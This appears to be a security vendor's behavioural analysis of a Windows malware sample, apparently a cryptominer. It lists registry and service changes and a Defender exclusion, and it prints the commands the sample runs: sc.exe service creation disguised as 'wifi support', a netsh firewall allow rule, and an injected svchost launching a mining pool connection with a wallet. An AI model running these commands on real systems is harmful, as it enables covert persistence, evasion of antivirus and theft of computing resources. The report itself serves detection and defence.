Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\tprtpwjo] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\tprtpwjo] 'ImagePath' = '%WINDIR%\SysWOW64\tprtpwjo\lngryguk.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\tprtpwjo] 'ImagePath' = '%WINDIR%\SysWOW64\tprtpwjo\lngryguk.exe'
Creates the following services
- 'tprtpwjo' %WINDIR%\SysWOW64\tprtpwjo\lngryguk.exe /d"<Full path to file>"
- 'tprtpwjo' %WINDIR%\SysWOW64\tprtpwjo\lngryguk.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\tprtpwjo' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\lngryguk.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\lngryguk.exe to %WINDIR%\syswow64\tprtpwjo\lngryguk.exe
Deletes itself.
Network activity
TCP
- '43.#31.4.7':443
- '85.##4.134.88':481
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK 19#.###.211.95.in-addr.arpa
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\tprtpwjo\lngryguk.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\tprtpwjo\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lngryguk.exe" %WINDIR%\SysWOW64\tprtpwjo\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create tprtpwjo binPath= "%WINDIR%\SysWOW64\tprtpwjo\lngryguk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description tprtpwjo "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start tprtpwjo' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\tprtpwjo\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lngryguk.exe" %WINDIR%\SysWOW64\tprtpwjo\
- '%WINDIR%\syswow64\sc.exe' create tprtpwjo binPath= "%WINDIR%\SysWOW64\tprtpwjo\lngryguk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description tprtpwjo "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start tprtpwjo
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o msr.pool.gntl.co.uk:40005 -u 9s8EcMYLj9UeDr6RCSdJFMb3r44FuGg2MPF6411fa7WfhXLQdyw6m8nEm1H2UWyay2L8roL7dRp82Ei5poEKG5a5Eog9s1E+90000 -p x -k
